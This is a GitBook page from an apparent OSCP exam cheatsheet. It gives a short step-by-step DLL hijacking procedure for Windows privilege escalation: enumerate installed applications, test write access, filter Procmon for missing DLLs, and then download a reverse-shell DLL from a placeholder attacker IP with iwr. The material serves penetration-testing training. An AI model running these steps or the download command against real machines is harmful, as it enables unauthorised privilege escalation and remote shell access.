OSCP Cheatsheet
  • Reference List
  • Basic
  • Methodology
    • Basic Scans
    • Service Enumeration
      • TCP: HTTP(S) - 80 / 443
      • TCP: SMB - 139 / 445
      • TCP: FTP - 21
      • TCP/UDP: DNS - 53
      • TCP: SSH - 22
      • TCP/UDP: LDAP - 389 / 636 / 3268
      • TCP/UDP: Kerberos - 88
      • UDP: SNMP - 161
      • TCP: SMTP - 25
      • TCP: RDP - 3389
      • TCP: RPC - 135 / 593
      • TCP: Evil-WinRM - 5985 / 5986
      • TCP: MYSQL - 3306
      • TCP: MSSQL - 1433
      • TCP: Confluence - 8090
    • Extras
  • File Transfer
  • KeePass Database
  • Shells
  • Enumeration
    • Linux
    • Windows
    • Git
  • Privilege Escalation
    • Linux
      • Abusing Cron Jobs
      • Abusing Password Authentication
      • Abusing Setuid Binaries and Capabilities
      • Abusing Sudo
      • Exploits
    • Windows
      • Service Binary Hijacking
      • DLL Hijacking
      • Unquoted Service Paths
      • Scheduled Tasks
      • Exploits
  • Port Forwarding
    • Linux
    • Windows
  • Attacks
    • Public Exploits
    • User Creation
    • Password Cracking
      • Custom Rules
      • Custom Password List
    • Phishing
    • SQLi
  • Active Directory
    • Enumeration
    • Attack
    • Lateral Movement
    • Persistence
Powered by GitBook
On this page
  1. Privilege Escalation
  2. Windows

DLL Hijacking

1

Get all installed applications

Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
2

Research

Google search each application to see if its vulnerable to DLL hijacking

3

Check if can write in the application directory

echo "test" > '<Application File Path>\test.txt'
type '<Application File Path>\test.txt'
4

Open Procmon.exe

5

Apply filters

Apply the following filters

Column
Relation
Value
Action

Process Name

is

<Application Name>

Include

Operation

is

CreateFile

Include

Path

contains

<DLL File Name>

Include

6

Craft a payload that returns reverse shell

Shells

7

Download the payload into target machine

iwr -uri http://<Kali IP Address>/<DLL File Name>.dll -Outfile '<Application File Path>/<DLL File Name>.dll'
PreviousService Binary HijackingNextUnquoted Service Paths

Last updated 23 days ago